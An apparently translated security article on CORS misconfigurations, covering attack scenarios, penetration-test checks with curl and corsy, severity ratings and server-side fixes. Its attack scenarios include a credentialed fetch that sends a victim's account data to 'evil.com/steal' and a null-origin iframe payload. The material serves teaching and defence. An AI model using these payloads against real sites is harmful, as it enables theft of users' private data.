CORS - Cross-Origin Resource Sharing Fehlkonfiguration
CORS misconfigurations occur when web servers return `Access-Control-Allow-Origin` wildcards or unvalidated origins. Attackers can send cross-site requests with cookies from the victim’s browser and read sensitive API responses. This is particularly critical when `Access-Control-Allow-Credentials` is set to `true`. Mitigation: Validate a strict origin whitelist on the server side; do not combine wildcards with credentials.
CORS (Cross-Origin Resource Sharing) is a browser security mechanism that allows exceptions to the Same-Origin Policy for legitimate cross-origin requests. Misconfigurations in CORS headers allow attackers to send API requests to sensitive endpoints from the browser of a logged-in user and read the responses—an attack that the Same-Origin Policy is actually intended to prevent.
The Basic Principle of CORS
Same-Origin Policy (SOP): The browser does NOT allow JavaScript on site-a.com to read responses from site-b.com (requests can be sent—but the response is blocked).
CORS Exception (if the server agrees):
Access-Control-Allow-Origin: https://site-a.com
The browser then allows JavaScript to read the response.
Misconfigurations:
Access-Control-Allow-Origin: * ← Wildcard
Access-Control-Allow-Origin: null ← null Origin
Access-Control-Allow-Origin: <geklont aus="" request="">← Echo
Problematic combination:
Access-Control-Allow-Credentials: true ← Send cookies!
Access-Control-Allow-Origin: * ← Browser BLOCKS this
Access-Control-Allow-Origin: <echo>
← DANGEROUS!
Attack Scenarios
Scenario 1 - Origin Echo with Credentials
Vulnerable server code simply returns the request origin:
Access-Control-Allow-Origin: $REQUEST_ORIGIN
Access-Control-Allow-Credentials: true
Attack from attacker's site (evil.com):
fetch('https://api.bank.com/account/balance', {
credentials: 'include' // Sends session cookie!
})
.then(r => r.json())
.then(data => {
// Attacker reads account balance!
fetch('https://evil.com/steal?data=' + JSON.stringify(data));
});
Process: Victim visits evil.com → Browser sends request to api.bank.com WITH session cookie → Server responds (CORS allows it due to Echo configuration!) → JavaScript reads sensitive data → Data is exfiltrated to evil.com.
Scenario 2 - Null Origin
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts" src="data:text/html,
<script>
fetch('https://api.target.com/private', { credentials: 'include' })
.then(r => r.text())
.then(d => parent.postMessage(d, '*'));
</script>
"></iframe>
data: URLs have Origin: null - the server allows null, the iframe can read.
Scenario 3 - Subdomain Takeover + CORS
CORS whitelist: *.company.com - if staging.company.com is compromised via subdomain takeover, the attacker can send CORS-allowed requests to api.company.com from there.
Scenario 4 - Regex bypass in origin validation
Server regex: /^https://company\.com$/
Escaping error: /https://company.com/ (period not escaped)
→ companyXcom, company-evil.com also match!
Detection in the Penetration Test
1. Simple CORS check via curl
# Test: Send Origin and check response
curl -v -H "Origin: https://evil.com" \
https://api.target.com/api/user
# Check response header:
# Access-Control-Allow-Origin: https://evil.com ← ECHO! Check!
# Access-Control-Allow-Credentials: true ← CRITICAL!
2. Systematic Origin Tests
# Test different origins:
curl -H "Origin: https://evil-target.com" https://target.com/api/
curl -H "Origin: null" https://target.com/api/
curl -H "Origin: https://target.com.evil.com" https://target.com/api/
curl -H "Origin: https://evil.com" https://target.com/api/
3. Burp Suite CORS Testing
- Set Origin header to evil.com
- Response: Check Access-Control-Allow-Origin?
- If allowed: Test with credentials
- Extend to private endpoints
4. Tool: corsy (Python)
# Automated CORS scanner:
python3 corsy.py -u https://target.com/api/ -t 10
# Checks for all known CORS misconfigurations
5. Check critical endpoints
/api/user,/api/profile(PII)/api/payment,/api/account(Finance)/api/admin(privileged operations)/api/token,/api/auth(Authentication)
Severity Levels
| Severity | Configuration |
|---|---|
| CRITICAL | ACAO: Echo + ACAC: true + sensitive endpoints |
| HIGH | ACAO: null + ACAC: true |
| MEDIUM | ACAO: * (without credentials - no session access) |
| INFO | ACAO: * on public API without sensitive data |
Mitigation Measures
1. Strict Origin Whitelist (THE ONLY Correct Method)
// Node.js/Express:
const allowedOrigins = [
'https://app.company.com',
'https://www.company.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
// Always check against a static whitelist!
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin'); // Prevent cache poisoning!
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
// WRONG (Echo):
// res.setHeader('ACAO', req.headers.origin); // NEVER!
2. CORS Configuration via Framework
# Python (Django) - settings.py:
CORS_ALLOWED_ORIGINS = [
"https://app.company.com",
"https://www.company.com"
]
# DO NOT USE: CORS_ORIGIN_ALLOW_ALL = True !
CORS_ALLOW_CREDENTIALS = True
// Java (Spring):
@CrossOrigin(origins = {"https://app.company.com"},
allowCredentials = "true")
// Do not use @CrossOrigin(origins = "*") with allowCredentials!
# Nginx - allows only these exact origins:
if ($http_origin = "https://app.company.com") {
add_header 'Access-Control-Allow-Origin' $http_origin;
add_header 'Access-Control-Allow-Credentials' 'true';
}
3. ALWAYS set the Vary header when the origin is dynamic
Vary: Origin
Prevents proxy caches from caching incorrect CORS responses.
4. Handle preflight requests correctly
OPTIONS /api/data HTTP/1.1
→ Return only allowed methods/headers:
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
5. Never combine credentials with wildcards
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browsers already block this—but never use Echo as a workaround!
6. Never allow null origins
if (origin === 'null') return; // Reject null!
// data: URLs and sandboxed iframes send null
7. For internal APIs without browser access
Disable CORS (no Allow-Origin header) – CORS is only necessary for APIs consumed by browsers.